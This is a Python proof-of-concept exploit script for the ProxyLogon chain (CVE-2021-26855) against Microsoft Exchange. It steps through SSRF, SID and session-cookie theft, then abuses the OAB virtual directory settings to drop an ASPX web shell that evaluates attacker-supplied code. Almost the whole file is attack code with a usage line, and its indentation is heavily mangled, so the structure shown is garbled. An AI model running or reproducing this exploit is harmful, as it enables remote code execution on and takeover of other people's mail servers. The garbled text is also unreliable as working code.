# Original Author: testanull https://github.com/testanull https://twitter.com/testanull
# PoC of proxylogon chain SSRF(CVE-2021-26855) to write file
# Original "Archive" https://web.archive.org/web/20210310164403/https://gist.github.com/testanull/fabd8eeb46f120c4b15f8793617ca7d1

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
        return ''.join(random.choice(chars) for _ in range(size))

    if len(sys.argv) < 2:
            print("Usage: python PoC.py <target> <email>")
                print("Example: python PoC.py mail.evil.corp haxor@evil.corp")
                    exit()
                    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
                    target = sys.argv[1]
                    email = sys.argv[2]
                    random_name = id_generator(3) + ".js"
                    user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

                    shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx"
                    shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

                    shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
                    legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
                    autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
                        <Request>
                              <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
                                  </Request>
                                  </Autodiscover>
                                  """ % email

                                  print("Attacking target " + target)
                                  print("=============================")
                                  print(legacyDnPatchByte.decode('hex'))
                                  FQDN = "EXCHANGE"
                                  ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                                                              "User-Agent": user_agent},
                                                                                                                                verify=False)
                                  if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
                                          FQDN = ct.headers["X-FEServer"]

                                          ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                                                  "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
                                                      "Content-Type": "text/xml",
                                                          "User-Agent": user_agent},
                                                                             data=autoDiscoverBody,
                                                                                                verify=False
                                                                                                                   )
                                          if ct.status_code != 200:
                                                  print("Autodiscover Error!")
                                                      exit()
                                                      if "<LegacyDN>" not in ct.content:
                                                              print("Can not get LegacyDN!")
                                                                  exit()

                                                                  legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
                                                                  print("Got DN: " + legacyDn)

                                                                  mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

                                                                  ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                                                                          "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
                                                                              "Content-Type": "application/mapi-http",
                                                                                  "User-Agent": user_agent
                                                                                  },
                                                                                                     data=mapi_body,
                                                                                                                        verify=False
                                                                                                                                           )
                                                                  if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
                                                                          print("Mapi Error!")
                                                                              exit()

                                                                              sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]

                                                                              print("Got SID: " + sid)

                                                                              proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
                                                                              """ % sid

                                                                              ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                                                                                      "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
                                                                                          "Content-Type": "text/xml",
                                                                                              "User-Agent": user_agent
                                                                                              },
                                                                                                                 data=proxyLogon_request,
                                                                                                                                    verify=False
                                                                                                                                                       )
                                                                              if ct.status_code != 241 or not "set-cookie" in ct.headers:
                                                                                      print("Proxylogon Error!")
                                                                                          exit()

                                                                                          sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

                                                                                          msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
                                                                                          print("Got session id: " + sess_id)
                                                                                          print("Got canary: " + msExchEcpCanary)

                                                                                          ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
                                                                                                  "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                                                                                                              FQDN, sess_id, msExchEcpCanary),
                                                                                                      "User-Agent": user_agent
                                                                                                      },
                                                                                                                        verify=False
                                                                                                                                          )
                                                                                          if ct.status_code != 200:
                                                                                                  print("Wrong canary!")
                                                                                                      print("Sometime we can skip this ...")
                                                                                                      rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
                                                                                                      # print "Got rbacRole: "+ rbacRole

                                                                                                      print("=========== It means good to go!!!====")

                                                                                                      ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                                                                                                              "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                                                                                                                          FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                                                                                                                  "Content-Type": "application/json; charset=utf-8",
                                                                                                                      "User-Agent": user_agent

                                                                                                                      },
                                                                                                                                         json={"filter": {
                                                                                                                                                                    "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                                                                                                                                                                              "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                                                                                                                                                                                       verify=False
                                                                                                                                                                                                          )
                                                                                                      if ct.status_code != 200:
                                                                                                              print("GetOAB Error!")
                                                                                                                  exit()
                                                                                                                  oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
                                                                                                                  print("Got OAB id: " + oabId)

                                                                                                                  oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                                                                                                                                      "properties": {
                                                                                                                                                          "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                                                                                                                                                             "ExternalUrl": "http://ffff/#%s" % shell_content}}}

                                                                                                                                                          ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                                                                                                                                                                  "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                                                                                                                                                                              FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                                                                                                                                                                      "Content-Type": "application/json; charset=utf-8",
                                                                                                                                                                          "User-Agent": user_agent
                                                                                                                                                                          },
                                                                                                                                                                                             json=oab_json,
                                                                                                                                                                                                                verify=False
                                                                                                                                                                                                                                   )
                                                                                                                                                          if ct.status_code != 200:
                                                                                                                                                                  print("Set external url Error!")
                                                                                                                                                                      exit()

                                                                                                                                                                      reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                                                                                                                                                                                                "properties": {
                                                                                                                                                                                                                          "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                                                                                                                                                                                                                                   "FilePathName": shell_absolute_path}}}

                                                                                                                                                                                                                          ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                                                                                                                                                                                                                                  "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                                                                                                                                                                                                                                              FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                                                                                                                                                                                                                                      "Content-Type": "application/json; charset=utf-8",
                                                                                                                                                                                                                                          "User-Agent": user_agent
                                                                                                                                                                                                                                          },
                                                                                                                                                                                                                                                             json=reset_oab_body,
                                                                                                                                                                                                                                                                                verify=False
                                                                                                                                                                                                                                                                                                   )

                                                                                                                                                                                                                          if ct.status_code != 200:
                                                                                                                                                                                                                                  print("Write Shell Error!")
                                                                                                                                                                                                                                      exit()

                                                                                                                                                                                                                                      print("Successful!")